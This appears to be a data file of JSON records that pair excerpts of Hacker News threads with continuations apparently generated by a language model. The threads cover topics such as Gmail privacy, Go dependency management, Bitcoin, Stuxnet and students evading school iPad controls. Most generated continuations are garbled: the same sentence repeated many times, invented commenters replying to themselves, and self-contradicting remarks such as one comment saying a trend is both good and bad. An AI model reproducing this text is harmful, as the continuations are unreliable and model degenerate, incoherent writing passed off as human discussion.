concern).\n\nIf anybody from Google can (anonymously if necessary) step in and answer\nquestions, it'd be great.\n\n* Different gmail accounts. Google knows they're all you.\n\nIn the original Gawker story, this caught my eye:\n\n\"...pulled up the person's email account...[and] a list of other Gmail\naddresses that the friend had registered but didn't think were linked to their\nmain account\u2014within seconds\"\n\nKeeping separate Gmail accounts is how many protect against \"Google knows\neverything about me.\""} +{"output_text": " got a camera.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I mean, I get that it's a\n\"modular\" phone but I don't see how this is any different than a modular\ncamera.\n\n~~~\njoshstrange\nI guess I'm just not understanding the point of this. I mean, I get that it's\na \"modular\" phone but I don't see how this is any", "input_text": "https://en.wikipedia.org/wiki/Modu](https://en.wikipedia.org/wiki/Modu) ) and\napparently Google acquired some of that IP. I wonder if this effort is\nrelated.\n\n------\ncrbelaus\nIt may shound harsh, but why should I want a modular Android phone? To update\nmy hardware over the years to come while still running the same Android\nversion without receiving updates.\n\nGoogle, your Android updating system is fucked up. Fix it first, and then we\ncan talk about exending the life of hardware.\n\n~~~\nclintonb\nLimited updates are more an issue with the carriers than Google.\n\n~~~\nvoltagex_\nI don't think so. I'm still on the May 2016 security patch on a 2015 Moto X\nStyle. No carrier involved - it's an unlocked LTE phone. Updating the existing\nphones doesn't make Lenovo any money so I doubt it will happen.\n\n------\nungzd\nYou can add new camera or bluetooth controller but you can't (sanely) update\nfirmware to latest Android version. Great.\n\n(I mean sanely if it was like installing Windows or Linux and not specific\nbuild for single phone model made from hacks and insane backmerges)\n\n------\nclumsysmurf\nI had high hopes for this, but seeing how fragmentation is harming Android\nwhen the phone is a single integrated device - seems unrealistic they would be\nable to get all these components to play well together among various OEMs.\n\n------\njordache\nThis is my attitude regarding Red camera's lauded modularity.\n\nOk so you can keep your handle and grip, and the little viewfinder. The sum of\nThose useless pieces doesn't mean you've"} +{"output_text": "source projects.\n\n------\nmatt_wulfeck\nI'm not sure I understand the problem.\n\nIf you have a library that is not in the classpath, you can't use it.\n\nIf you have a library that is in the classpath, you can use it.\n\nIf you have a library that is in the classpath, you can use it.\n\nIf you have a library that is in the classpath, you can use", "input_text": ", loading different versions of the library under the same name to\nprovide to different parts of your code. This has different risks depending on\nhow and when symbols are looked up or linked. In some languages you can end up\nwith the two versions accidentally calling into each other or using each\nother's symbols. In other languages you run into the \"expected Foo but got\nFoo\" type errors mentioned by munificent. That's what happens when you use\nclassloader tricks as a half-assed way of isolating \"components\" in Java.\n\nSecond, loading different versions of the library under different names. This\nrequires hacking the compiled code or the source code; convenience and\nreliability will depend on the quality of the tools you're working with.\nSophistication ranges from using sed to munge source code to using tools like\nobjcopy that can read and rewrite compiled artifacts. Java \"shading\" (not\n\"shadowing\" as I said earlier) relies on rewriting class files.\n\n------\nJeremyBanks\nThis article actually made the issue finally click for me: Go is having\ntrouble solving this problem because it has more going on in the global\nenvironment, like its ancestor languages, and unlike more modern languages.\nThey need to come up with a complicated framework to reign in their spooky\naction at a distance, because they have lots of implicit global relationships\nwhere we might prefer more explicit and local ones.\n\nYikes.\n\n~~~\nithkuil\n> where we might prefer more explicit and local ones.\n\ncould you expand on this? who is \"we\" and what are those explicit and local\nrelationships? are you talking about an opensource ecosystem or a private\nenterprise?\n\n~~~\nJeremyBanks\nIn this case I mean open-"} +{"output_text": "/mythz/clojure-linq-\nexamples](https://github.com/mythz/clojure-linq-examples)\n\n\\- C# [https://github.com/mythz/csharp-linq-\nexamples](https://github.com/mythz/csharp-linq-examples)\n\n\\- C++ [https://github.com/mythz/cpp-linq-\nexamples", "input_text": " with a babel based\ntool.\n\nEarlier, I wrote a tool called chimpanzee[1] to parse such ASTs into SQL. Not\neasy (but not too hard either); there are so many different ways to express\nsomething in JS. Here's an example (using chimpanzee) which checks if an\nexpression is doing a sort (on an array/table) and to extract sort fields and\norder. [https://github.com/jeswin-unmaintained/isotropy-ast-\nanalyzer...](https://github.com/jeswin-unmaintained/isotropy-ast-analyzer-\ndb/blob/master/src/schemas/sort.js)\n\n[1] chimpanzee:\n[https://github.com/jeswin/chimpanzee](https://github.com/jeswin/chimpanzee)\n\n------\nmythz\nAs LINQ has been positioned as one of C#/.NET's biggest strengths their 101\nLINQ Examples are a nice set of simple code examples to compare how well\ndifferent languages fare against each other:\n\n\\- Swift [https://github.com/mythz/swift-linq-\nexamples](https://github.com/mythz/swift-linq-examples)\n\n\\- Kotlin [https://github.com/mythz/kotlin-linq-\nexamples](https://github.com/mythz/kotlin-linq-examples)\n\n\\- Java [https://github.com/mythz/java-linq-\nexamples](https://github.com/mythz/java-linq-examples) (Java 1.7)\n\n\\- Clojure [https://github.com"} +{"output_text": " I agree, but I don't think it's necessary.\n\n8\\. I agree, but I don't think it's necessary.\n\n9\\. I agree, but I don't think it's necessary.\n\n10\\. I agree, but I don't think it's necessary.\n\n11\\. I agree, but I don't think it's necessary.\n\n12\\. I agree, but I don't think it's necessary.\n\n13\\. I agree, but", "input_text": " on a whim, so having a strict, default third party is essential.\n\n[1] \n\n------\nbobrenjc93\nI would like more users to register my side project\n(), but I can't seem to convert anyone who visits\nthe project site. At this point, I think I would pay for some service that\ngives me honest feedback on my landing page and maybe suggest ways to improve\nconversion rates.\n\n~~~\nmilesokeefe\nA few suggestions:\n\n1\\. Increase the padding on nearly all the divs; the text is too close to the\nborders.\n\n2\\. Remove the \"Confirm Password\" field. IMO the risk that the few people who\nmistype their password will never return is worth making it easier for the\nrest.\n\n3\\. The video could be shorter. You don't need the 4 second title before the\nvideo starts, and the simulation of the signup process takes too long and is\nboring to watch. Edit the video so that the text fields are filled in as\nquickly as the viewer can see them filled in, not as fast as it actually\ntakes.\n\n4\\. Consider adding a few bullet points outlining the benefits of being able\nto track users' mouse movements.\n\n5\\. A unique icon would be nice.\n\n6\\. Make the \"Sign Up\" button a unique color so that it stands out.\n\n~~~\nKluny\n1\\. Agreed\n\n2\\. Meh, doesn't matter\n\n3\\. Yes\n\n4\\. Agree, I signed up and am intrigued, but still not totally clear on what\nit does.\n\n5 and 6. Sure.\n\n7\\."} +{"output_text": " number.\n\n~~~\njessaustin\nI have a phone number that I've never dialed in my life. I don't know why I\nhave it, but I do.\n\n~~~\nryan_j_naughton\nI have a phone number that I've never dialed in my life. I don't know why I\nhave it, but I do.\n\n------\njessaustin\nI'm not sure I understand the point of this", "input_text": "al like 10%. Not just pull the trigger and shoot but shoot and shoot at\nthe enemy.\n\nA program was developed by the US military to train soldiers to shoot on\ncommand. On the shooting range a target popped up the soldier shot it and when\nhe hit it the target would fall. stimulus: target appears, response: shoot the\ntarget, reward: target falls, satisfaction. It got to the point where there\nwas no thought it was instinct, or muscle memory.\n\nI see now it is called \"Operant conditioning\". In the Wikipedia post about\noperant conditioning citations mention some of what I am talking about.\nWikipedia isn't where I originally read about it I read about was probably 10\nor 15 years ago?\n\n[https://en.wikipedia.org/wiki/Operant_conditioning](https://en.wikipedia.org/wiki/Operant_conditioning)\n\nKorea and especially Vietnam (better weapons?) saw the amount of solider\nshooting the enemy go up significantly.\n\nI'm not sure if the rotary phone vs touch tone was in that same article or if\nI'm mixing it up with another article.\n\n------\nryan_j_naughton\nThere is a bizarre consequence that you have to remember all the phone numbers\nyou want to dial or keep a paper contact book with you as well.\n\nRelatedly, how many of you remember a bunch of phone numbers from your\nchildhood. I can recite my best friend's home phone number, my home phone\nnumber from childhood, my dad's old office number, and my mom's cell number -\ndespite all but 1 of those numbers having not been valid for 16 years.\n\nYet ask me to recite any phone number from when I got a cell phone onwards and\nI only know my own"} +{"output_text": "train' a system is to have a bunch of data, and then feed it\nto the system. The system will learn from the data, and then you can feed it\nmore data.\n\nThe problem with this is that you need a lot of data. You need a lot of\nsentences in each language. You need a lot of sentences in each language\ntranslated into the same representation space. You need a lot of sentences in\neach language translated into different representation spaces.\n", "input_text": " how much can be surfaced right inside\nVisual Studio. (A separate team maintains our actual instance, thank god.)\n\nThe true pain as a developer comes from the poorly thought out UI which makes\nevery little task click heavy. To make things worse, the UI is poorly threaded\nand seems to prefetch nothing. This means that drilling down into any area,\nespecially the source control view leaves you waiting 1-3 seconds per item you\nexpand.\n\nThere's also some weird usability holes, like why after 5+ years is undo\nunchanged a command still only found in the optional power tools utility?\n\n~~~\ndarklajid\nRight, the UI seems like you're doing work in access and every click opens\nanother tab. Some features are 'nice' (link to workitems etc.), but you have\ndialogs with tabs with tabcontrols with gazillion other controls and.. yeah.\nYou don't want to use that, basically.\n\n \nUnsupervised Machine Translation Using Monolingual Corpora Only [pdf] - stablemap\nhttps://arxiv.org/abs/1711.00043\n======\nmabbo\nNeat! If I'm reading this right (smarter people please correct me if I'm\nwrong), the process they used is:\n\n1- Train a system that translates language A sentences into a representation\nspace, and can translate back from that space.\n\n2- Train a second system that does the same, but with language B, onto the\nsame representation space.\n\n3- Train an adversarial system that tries to look at the representation space\nand identify which language the sentence came from, retraining the language\ntranslation systems to try to fool that recognizer. Retrain the models to try\nto not be recognized by this third system.\n\nThe best way to '"} +{"output_text": " it.\n\nI think it's a bit of a shame that the pendulum has swung so far the other\nway, but I think it's a good thing that people are now starting to realise\nthat there are trade-offs to be made.\n\n~~~\ntericho\nI think it's a good thing that people are starting to realise that there are\ntrade-offs to be made.\n\nI think it's a bad thing that people are starting to realise that", "input_text": " engine in everything today...\n\n------\ncarsongross\nMoney quote from the article:\n\n _The new admin would make a return to more classic architecture with some\nmodernizations. Our approach would be ERB views and server-side rendering,\nwith the use of Turbolinks, and a lightweight custom JavaScript binding\nsystem. This allowed us to tackle problems of code duplication and developer\nproductivity in a single blow._\n\nAs always, the devil is in the details and I'm looking forward to seeing what\ntheir JS binding system looks like, but the pendulum appears to be swinging\nback towards server-side rendering and models, even amongst the cool kids.\n\nI have been working on a small library for doing HTML partial AJAX\nprogramming, using fairly straight-forward HTML attributes and traditional\nserver side rendering (plus some goodies like custom HTTP header support,\ntimers, etc.):\n\n[http://intercoolerjs.org](http://intercoolerjs.org)\n\nI'm using it successfully in a few projects and very much enjoy the simplicity\nof the whole approach when contrasted with full MVC systems.\n\n~~~\ntericho\nCan we please drop the \"cool kids\" cliche? It's a tired generalization.\n\nClearly at this point both architectures work, it's childish to see this as an\nargument for server-side rendering. Obviously it works, so do client MVC\nsystems.\n\nThe value in this article is the humble detailing of their mistakes that many\nof us also experience in our careers.\n\n~~~\nmatthewmacleod\nI think part of that is a reaction to how many people jumped on to the client-\nside JS framework bandwagon very early, because it was \"the next big thing\",\nbut before the tools were ready for"} +{"output_text": " author's advice to \"get a job\" is a bit off. I think the author\nis confusing \"approach anxiety\" with \"job anxiety\".\n\nI've been in the job market for a few years now and I've found that the\n\"approach anxiety\" is a lot less of a problem than the \"job anxiety\".\n\nThe \"approach anxiety\" is the fear of rejection. The \"job anxiety\" is the\nfear of not being able to do", "input_text": "\n\nPut a price on it. Makes you realize when you are just being a little bitch.\n\n------\ncodeslush\n\"I didn\u2019t get the first phone number I asked for, nor the second. In fact, the\nfirst number probably came somewhere between tries five and ten.\"\n\nThis applies to so many different areas of life that it should just be made a\nrule, if it isn't already.\n\n------\nFreshCode\ngetting good at \"game\" has led to improvements in almost every other aspect of\nmy life, including pitching.\n\n~~~\nbrk\nFunny. I have recommended 'The Game' by Neil Strauss to more than one person\nfor reasons beyond just meeting women. Learning how to start and manage a\nconversation are powerful tools.\n\n~~~\nFreshCode\nI wonder how many \"hacker players\" hang out on HN? :)\n\n------\nmittermayr\nit's a tough thing to accept, but you outlined it pretty well. most things\ndon't just happen. nobody believes it's the time, place, moment and right\nperson to \"risk\" being declined, ignored or laughed at. and that's so wrong.\npeople who succeed, typically, tend to be a bit more open than others.\neverything else is an excuse to hope for pure chance or being discovered. and\nin all reality, try it with beers, go to a bar, hit on a random girl, just to\nget started again. it will be really, really tough at first.\n\n------\naneth\nI agree overcoming \"approach anxiety\" is key to just about any goal that\nrequires someone else to be attracted to you in one way or another - dating,\ninvesting, friendship, ordering a drink in a crowded bar,....\n\nHowever, the"} +{"output_text": "ant of intolerance.\"\n\n~~~\nnonsenselies\nI'm not sure what you mean by \"opt-in\".\n\n~~~\nlexcorvus\nI mean that the people who say \"I'm only intolerant of intolerance\" are\nexplicitly choosing to be part of the group.\n\n------\nmatt_wulfeck\nI'm not sure I agree with the premise of the article. I think it's more\naccurate to say", "input_text": " more responsible in their recruitment process...\n\nAgain, if the world just stop fighting wars, there would be no wars.\n\nBut really, I don't see how that is an implementable solution. How are you\ngoing to implement something like that? How are you going to implement \"world-\nstop-fighting-wars\"? How are you going to implement \"everyone-is-more-\nresponsible-when-recruiting\"?\n\n------\nl33tbro\nMy stock retort always is \"Well, I find your narrow-mindedness offensive\".\nQuestions, logical and calmly asked, also swiftly dismantle those flapping on\nabout misplaced social concerns.\n\nAlmost feel sorry for them, like these views are thinly-veiled insecurities\nabout some aspect of themselves or trauma experienced.\n\n------\nsremani\nThe Intolerance of the those crusading against Intolerance is funny until it\nis not.\n\n~~~\nlexcorvus\nIt's also a lie. Try engaging the \"I'm only intolerant of intolerance\" crowd\non, say, climate change, abortion, or the death penalty. It takes tortuous\nlogical contortions to frame any of these issues in terms of \"intolerance,\"\nand yet you'll likely be met with vitriol nonetheless.\n\n~~~\nnonsenselies\nIt's even more dishonest to take all of the opinions held by individuals of\nsome ill-defined cohort, and pretend that any inconsistencies between\ndifferent individuals means that all members of the group are irrational and\nshould be ignored.\n\n~~~\nlexcorvus\n_ill-defined cohort_\n\nThe group I mentioned is precisely defined, and 100% opt-in\u2014it's the set of\nall people who say \"I'm only intoler"} +{"output_text": "-source-linux-users-file-eu-complaint-against-microsoft\n\n------\nmatt_the_bass\nI\u2019m not sure what you mean by \u201cI\u2019d like to get a degree\u201d. Do you want to get\na degree in CS? Or do you want to get a degree in something else?\n\nIf you want to get a degree in CS, then you should probably look at the\nrequirements for the CS degree.\n\n------", "input_text": " in 24 hours type rubbish).\n\n------\nvkaku\nMy personal advice is that while learning CS is helpful but University degrees\nare expensive and may not give you a ROI.\n\nThe right course taught by the right person and learnt the right way will. And\noften, I found that some MOOCs have a way better structure and content than\nthe ones I was taught in my University back in the day.\n\nI'd suggest going through them and strengthening your concepts yourself - and\nif you feel all you need is a degree (or) a course that offers you far better\ndiscipline, then go for it.\n\n------\nseanwilson\n> I have, however invested a lot of time learning higher math and advanced\n> computer science topics on my own and I\u2019d like to get a degree, but the idea\n> of having to spending all the time and money going through undergraduate\n> prerequisites feels like a waste for me.\n\nIf you know you can learn it yourself and you've got this far without a\ndegree, why do you want one?\n\n~~~\nIloveHN84\nHigher salary?\n\n~~~\nseanwilson\nGenuine question but after 15 years working experience when is a degree going\nto make a difference when looking to get hired? Does it even make a difference\nafter a couple of years of experience?\n\n------\nbjourne\nYou do not need to be present in class a whole lot in most CS curricula. You\ncan do exercises and homeworks on your own and only need to be present for\nexams and presentations.\n\n \nLinux users file EU complaint against Microsoft - recoiledsnake\nhttp://www.globalpost.com/dispatch/news/thomson-reuters/130326/exclusive-open"} +{"output_text": "wiki/Donation_of_Constantine](https://en.wikipedia.org/wiki/Donation_of_Constantine)\n\n~~~\nomalleyt\nI'm not saying that's what Tacitus is doing. I'm saying that's what Tacitus\nisn't doing.\n\n~~~\nbenbreen\nI'm not sure what you're saying. I'm saying that the Donation of Constantine\nis a fraud, and that Tacitus is not", "input_text": " the Pompey early in the Civil War, and\nwas one of Caesar's chief opponents during his African campaign.\n\nAs an interesting note, it seems Labienus likely defected from Caesar for two\nreasons:\n\n1\\. At the beginning of the Civil War it looked extremely unlikely Caesar\nwould win.\n\n2\\. Labienus felt as though Caesar took more credit than he ought to have in\nthe Gallic Wars, depriving him of his \"auctoritas\" (sort of prestige) he felt\nhe rightfully deserved.\n\nCaesar's skilled defeat of Pompey and Labienus show his military skill outside\nof his use of good commanders.\n\n~~~\nfapjacks\nI hope you see this after all this time. Do you have a trailhead to lend me so\nI can read about this instance of not having to leave his tent to give\ncommands? I have never heard this before and it's very interesting to me.\n\n------\nomalleyt\nIt's a symptom of postmodernism that nowhere in this text is it even suggested\nthat Tacitus is maybe just, you know, relating the facts about Germancius as\naccurately as he can.\n\nInstead we're sitting here quibbling over what literary fiction trope\n\"Tacitus's Germanicus\" fulfills in his \"story\"\n\n~~~\nbenbreen\nReading texts critically, thinking about the context that produced them, and\ndebating the author's rhetorical strategies has a lot more to do with\nRenaissance humanism than with postmodernism. Simply reading all historical\ntexts with the expectation that the author meant to tell the facts and nothing\nbut leads to the acceptance of frauds like the Donation of Constantine:\n\n[https://en.wikipedia.org/"} +{"output_text": " that Bitcoin's volatility is decreasing because it's becoming\nmore popular. That's a weird metric to use. If Bitcoin's volatility is\ndecreasing because it's becoming more popular, then it's not a good metric to\nuse. If Bitcoin's volatility is decreasing because it's becoming more\nattractive as a tool for buying lunch, then it's a good metric to use.\n\n3) The OP says that Bitcoin's volatility is decreasing because it's becoming\nmore popular. That", "input_text": "com/essay/2016/06/26/Rokos_DAO.html)\n\n~~~\ndsr_\nIf an AI can run on a universal Turing machine, then it can run on a Turing-\nequivalent platform like ether.\n\nThat doesn't make it a good or economical idea.\n\n~~~\nubernostrum\nOn the contrary, it's a great solution for AI risk: run the AI on a\nblockchain, and hackers will find plenty of ways to disable it if it starts to\nget out of hand.\n\n------\njavajosh\nA carbon tax on miners could slow down this singularity.\n\n------\nfpgaminer\nSoftware is eating the world.\n\nThose who think a digital currency of some kind _won't_ displace cash are\ngoing to be made fools.\n\nAbout the article... there are a lot of questions here.\n\nI guess the main thrust of the article is that Bitcoin's volatility is\ndeclining, and thus it is becoming more attractive for use as a tool for\nbuying lunch (where lunch is a stand-in for common day-to-day transactions).\nThat hinges on the idea that Bitcoin wasn't attractive for that purpose\nbefore, because its value was too volatile.\n\n1) The graph the article uses to demonstrate that Bitcoin is becoming less\nvolatile seems to indicate, to me, that Bitcoin is just as volatile as it ever\nwas. If I'm reading the graph correctly, the average of volatility is the\nsame, but the std deviation of volatility has been decreasing. In other words,\nBitcoin is just as volatile, but it's more consistently volatile. That's... a\nweird metric to measure. Either I'm reading the graph incorrectly, or OP is.\n\n2) The OP says"} +{"output_text": " they are guilty.\n\n~~~\nmatt4077\nI don't think that's the case. The conviction rate is not 100%, but it's\nprobably not much lower than that.\n\nThe reason is that the conviction rate is not the same as the conviction rate\nfor those who go to trial.\n\nThe conviction rate for those who go to trial is probably much lower than the\nconviction rate for those who are arrested.\n\n~~~\n_cs2017_\n", "input_text": "am3\nThe real mindfuck here isn't just that Japanese law allows the authorities to\nquestion you during detention (before being charged with anything), all day\nevery day, with no attorney present.\n\nNor is it that they can restrict access to the outside world, only allowing\nyou to speak to family for max 20m a day, with a translator + officer present\nat all times.\n\nNo, the real kicker is that the clock for the 20-30 day detention period\nstarts fresh every time, for each charge they want to investigate. This means\nthat they can essentially keep people in detention for as long as they want by\nhaving a list of charges and \"investigating\" them one at a time.\n\nIf you're used to things like due process, \"give me my phone call\", etc, the\nJapanese justice system is quite difficult to wrap your head around.\n\nI have no idea if Ghosn is guilty of what he is accused of. But there are\nmassive pressures to extract confessions from people in his position. And\nforced confessions reduce the legitimacy of the entire justice system.\n\n------\n_cs2017_\nEdit: I just realized that the nearly 100% conviction rate is only for those\nwho go to trial. A third of the people who are detained are released without\ntrial. So ignore this post: my main assumption (that arrest is similar to\nconviction) was incorrect.\n\n\\---\n\nMaybe one way to think of the Japanese justice system is that the trial\nhappens before the defendant is arrested. After all, the conviction rate is\nnearly 100%, so in some sense the actual trial is just a formality. From that\nperspective, it's not surprising that defendants may be detained without bail\nfor weeks: the system treats them as if"} +{"output_text": ".\n\n~~~\nTerretta\nI'm not sure what you mean by \"non-commercial use\".\n\nIf you're talking about the CC license, then yes, the CC license is free for\nnon-commercial use.\n\nIf you're talking about the Creative Commons search tool, then yes, that's\nfree for non-commercial use.\n\nIf you're talking about the Getty Images option, then yes, that's free for\nnon-commercial use.", "input_text": "\"Pix Store\" if you will. Maybe that's what the stock photo sites are supposed\nto be, but they don't have nearly the inventory.\n\nSorry for the tangent.\n\n~~~\nTerretta\n\"This may make sense for images which are to be used in a commercial context,\nbut for personal use like how I wanted to use the images, it's way too\nexpensive and much too much friction.\"\n\nThat's why Flickr lets you search for Creative Commons images, for which the\nphotographer gives you that personal use permission in advance.\n\n~~~\njs2\nThere are shades of a grey between commercial use and free use which are\nunaddressed.\n\n~~~\nTerretta\nYou think so? I license photos through Creative Commons, and differently\ndepending on the shades of personal to commercial I consider inherent in the\npotential market for a photo.\n\nI find it covers all the shades of commerciality I've considered. Meanwhile,\nfor a purely commercial photographer, the getty images option is there, and\nthose won't come up in the Creative Commons search unless licensed\nappropriately.\n\nThe CC search tool on Flickr is a fantastic tool for finding photos of the\nexact \"shade\" of use you're looking for.\n\n~~~\njs2\nCC photos are all free for non-commercial use, correct? What if you'd like to\nbe compensated, but not at rates that justify the overhead of Getty Images?\nMany of the images I found were not CC licensed, nor did they have a Getty\nImages option. Those are the images I'm referring to.\n\ne.g., go search Flickr for \"drawdy falls\". No results in Getty, no results in\nthe Commons, but a handful of images from photographers that are retaining\nfull copyright"} +{"output_text": "&sr=8-1&keywords=javascript+the+definite+guide)\n\n~~~\njoshu\nI agree with you. I think the book is great, but it's not the best book on\nthe subject.\n\n------\njoshu\nI think the best way to learn javascript is to write a lot of javascript.\n\n~~~\njoshu\nI'm not sure if this is the best way to learn javascript, but it's the", "input_text": " components -\ndrop-down menus, trees, tabs, etc. But do them without jQuery. It might sound\nlike reinventing the wheel, but learning fundamentals sometimes requires\nretreading worn out paths.\n\n~~~\n4as198sGxV\nSure. Then he will want to kill himself when trying to use of all those\ninferior and mismatched technologies for any kind of complex application\n(achieving crossbrowser support will ensure many nights of fun!). He will then\ngo back to coding server-side where at least you can use sane language and\ntools so you can be as productive as possible. However, he will be thinking\nabout this glimpse of hell for the rest of his career.\n\n------\ndoc4t\n_If you're an experienced programmer looking to learn Javascript, you probably\ncan't do any better than reading Javascript: The Good Parts. It's extremely\nshort, concise, and enjoyable to read. Highly recommended._\n\nAny experienced programmer should definitely start elsewhere so he can make up\nhis own mind about Crockfords ideas about how programming should be. While the\nbook is ok-ish almost half of the material is about Crockfords personal\npreferences for coding style and can be applied to any language.\n\nJavaScript - The Definite Guide by David Flanagan is in my opinion the best\nbook on the subject. No other JS book comes even close in clarity and\nthoroughness.\n\n[http://www.amazon.com/JavaScript-Definitive-Guide-\nActivate-G...](http://www.amazon.com/JavaScript-Definitive-Guide-Activate-\nGuides/dp/0596805527/ref=sr_1_1?ie=UTF8&qid=1333877087"} +{"output_text": ".\n\n------\njstanley\nI'm not sure I understand the point of this article.\n\nThe article says that the Bitcoin community is divided into two groups:\n\n1\\. Those who believe that Bitcoin is a currency, and\n\n2\\. Those who believe that Bitcoin is a store of value.\n\nThe article then says that the Bitcoin community is divided into two groups\nbecause of the disagreement between these two groups.\n\nBut the article doesn't say what the", "input_text": " it is the exchanges who's coins are \"stolen\", but still not really.\n\n51% hashing doesn't allow you to `undo exchanges going back as long as you\nwant`. There is a small time frame with exchanges/merches that accept <6 block\nconfirmations that a transaction could be reversed. And if a fork in the chain\nis happens (it does more often than not that 2 blocks get made and 1 is\norphaned,) all other miners switch to the longer chain as soon as a fork is\ndetected.\n\n~~~\namluto\nYou seem to be assuming that, once 6 confirmations have happened, a\ntransaction is set in stone. This isn't true at all. It's true that, once 6\nconfirmations have happened, a transaction is highly unlikely to disappear in\nthe absence of the 51% attack, but the whole point here is that we're assuming\nthat a 51% attack is occurring.\n\n------\ntlrobinson\nThe Bitcoin community seems to be doing a pretty good job of destroying itself\nright now, and I say that as a long time (cautiously optimistic) believer in\nBitcoin.\n\nThe division, infighting, toxic and dogmatic rhetoric, etc make me wonder if\nthere\u2019s an external force attempting to disrupt Bitcoin.\n\nOr perhaps it\u2019s just the inevitable outcome of a leaderless/decentralized\nproject with billions of dollars on the line.\n\n~~~\nmatt_wulfeck\n> _The division, infighting, toxic and dogmatic rhetoric, etc make me wonder\n> if there\u2019s an external force attempting to disrupt Bitcoin._\n\nI would say the force has a name, and it\u2019s \u201cPride\u201d.\n\n~~~\ndeevolution\nActually, I think the force is called natural selection"} +{"output_text": " proxy server.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're a student, you're not going to be able to get a job. If you're a\nstudent, you're not going to be able to get a job.\n\nIf you're a student, you're not going to be able to get a job. If you're a\nstudent, you're not going to be able to get a job.", "input_text": " assigned to\nhigh-yield work. Many software engineers at large companies could be rendering\nover $1 million per year in value, but are being held on evaluative Fourth\nQuadrant Work ( [http://michaelochurch.wordpress.com/2013/01/01/fourth-\nquadra...](http://michaelochurch.wordpress.com/2013/01/01/fourth-quadrant-\nwork/) ) while management decides whether or not to trust them with a real\nproject. So there's already a call-option dynamic in place; it's just that\nright now, it works entirely out of employee favor. I want to fix that.\n\n~~~\nyuhong\nI was thinking of something similar for blogging for a while now.\n\n \n\nStudents Find Ways To Hack School-Issued iPads Within A Week - danso\nhttp://www.npr.org/blogs/alltechconsidered/2013/09/27/226654921/students-find-ways-to-hack-school-issued-ipads-within-a-week\n\n======\nbetterunix\nReminds me of the various ways we found to defeat school firewalls when I was\nin high school. At the time we simply took it for granted that those in power\n(i.e. the school itself) were going to try to censor us, and it was our\n\"little secret\" that we could defeat that censorship.\n\nAs an adult I look back at those days and make comparisons with the situation\nin China...\n\n~~~\nCub3\nI was going to say this too, I remember initially using web based proxies like\nproxify and hidemyass until they were all blocked then we figured out the\nblocking system didn't work on a"} +{"output_text": "also a Guava tree in the picture.\n\n------\njoshu\nI'm not sure if this is a good thing or a bad thing.\n\nIf it's a good thing, then it's a good thing that we're getting a better\nunderstanding of the problem.\n\nIf it's a bad thing, then it's a bad thing that we're getting a better\nunderstanding of the problem.\n\n~~~\njoshu\nI'm not sure", "input_text": " (and the fact I have not examined StuxNet),\nI'd assume that there is a good chance it has enough logic to determine which\nfactory it is in by pure brute force.\n\nIf the main fan control gives a fairly standard reading, it shouldn't be too\ndifficult figuring out what the particular factory it has infiltrated has\nwired that point to, for example.\n\nAlso, I haven't heard any definitives on what kind of factory this is\ntargeting. I do know that there aren't many companies that develop and design\nhigh tech industrial facilities. Despite StuxNet having infected thousands\n(millions) of personal PCs, it really is only looking for maybe a few dozen or\nso in the world that are of the right type. Combine that with a low number of\nfactory designs, and it could very well have a pre-determined database of how\nits intended targets are wired.\n\n------\nTycho\nIt said the registry key Stuxnet plants to indicate whether a system is\nalready infected has the value 19790509. Then it said an Iranian Jewish\nbusiness man was executed on that date for spying. Also the home directory\nwhere the virus was originally compiled was called Myrtus. Which may contain\nanother clue...\n\n~~~\neli\nI'm not really buying this. You're making a lot of assumptions. That Iran is\nthe target, that the number is a date, that the date refers to that particular\nevent, etc.\n\nThe link between the word \"Myrtus\" and the Old Testament seems _really_\nstrained. It's the name of a plant. It features prominently in Greek mythology\n-- maybe the Greeks did it?\n\n~~~\nacqq\nI also vote for a plant, as the second mentioned name is Guava and there is\n"} +{"output_text": " point of overflowing their\ncart. I don't think they were buying more than they needed, but they were\nbuying more than they could possibly use.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a good thing or not. I\u2019m not sure if the government\nshould be mandating hand sanitizer.\n\nI\u2019m not sure if the government should be mandating masks.\n\nI\u2019m not sure if", "input_text": " the public\ntransports to get to the mall) is key to reducing infection.\n\nYes, hand sanitizer/face mask markets are ridiculous right now, but that's to\nbe expected. It's not people being selfish, there's clearly genuine needs for\nit. When there's a fuckton of needs and not enough being produced\u2026 how is it\npeople being selfish that you can't find hand sanitizer at a decent price? All\nthose have been bought.\n\n~~~\ngoblin89\nIf everyone buys only what they need (e.g., if it\u2019s a small personal sanitizer\nbottle, keep 1 in use and 1 in inventory), demand could be spread out and\ncrowds avoided.\n\nThe problem appears to combine habitual shopping for long term (not many have\na 24/7 convenience store within 3 minutes of walking), panicked distrust in\ninfrastructure reliability, and good old tragedy of the commons.\n\nSome countries fare better on first two, but still have the last one (e.g.,\nHong Kong).\n\n~~~\ncortesoft\nThe thing is, normally most people done have ANY hand sanitizer, let alone\ntwo, as you describe.... so when suddenly everyone wants to buy them, there\nisn't enough for everyone to have even two. That doesn't make the people\nbuying them selfish.\n\n~~~\nsjtindell\nBut that\u2019s not what they do, try to buy two or whatever reasonable number. A\nfew people literally fill a shopping cart with toilet paper, water bottles,\nand hand sanitizer, and it\u2019s gone. The problem is one of capacity to match\ndemand within such short time frames.\n\n~~~\nbeatgammit\nI went to Costco and saw people buying up to the"} +{"output_text": " to climate.\n\n~~~\nrmason\nI'm not sure. I've lived in Michigan for years and I've never seen a pothole\nthat bad.\n\n~~~\nwil421\nI\u2019ve lived in Michigan for years and I\u2019ve never seen a pothole that bad.\n\nI\u2019ve lived in Atlanta for years and I\u2019ve never seen a pothole that bad.\n\nI\u2019ve lived in Atlanta for years and I\u2019ve", "input_text": " it in the hole. In this way you can fix the holes on your local\nstreet/commute route without waiting for the city.\n\n~~~\nerr4nt\nWow TIL. I even looked it up and $13 buys you enough cold-patch to fill in a\nfew holes it looks like. Thanks for sharing, if I'm ever bothered by a pothole\nI'll just fill it myself now that I know!\n\n~~~\nacct1771\nThis attitude is how we shift to more self-sustainability and voluntary\ngovernance. Thank you.\n\n------\nbasementcat\nWhile Domino's shareholders are free to run their company the way they wish, I\nwould prefer that they invest their capital toward developing yummy pizza that\nis less unhealthy instead of filling potholes and lobbying against proposed\nrules to post calorie counts, etc.\n\n[https://www.bloomberg.com/news/features/2015-03-03/junk-\nfood...](https://www.bloomberg.com/news/features/2015-03-03/junk-food-s-last-\nstand-the-pizza-lobby-is-not-backing-down)\n\n~~~\njessaustin\nI would have suggested \"filling potholes\" as a better use for their pizza than\n\"eating\"...\n\n------\nrmason\nThey'd have much better success finding a way to improve the ride of their\ndelivery 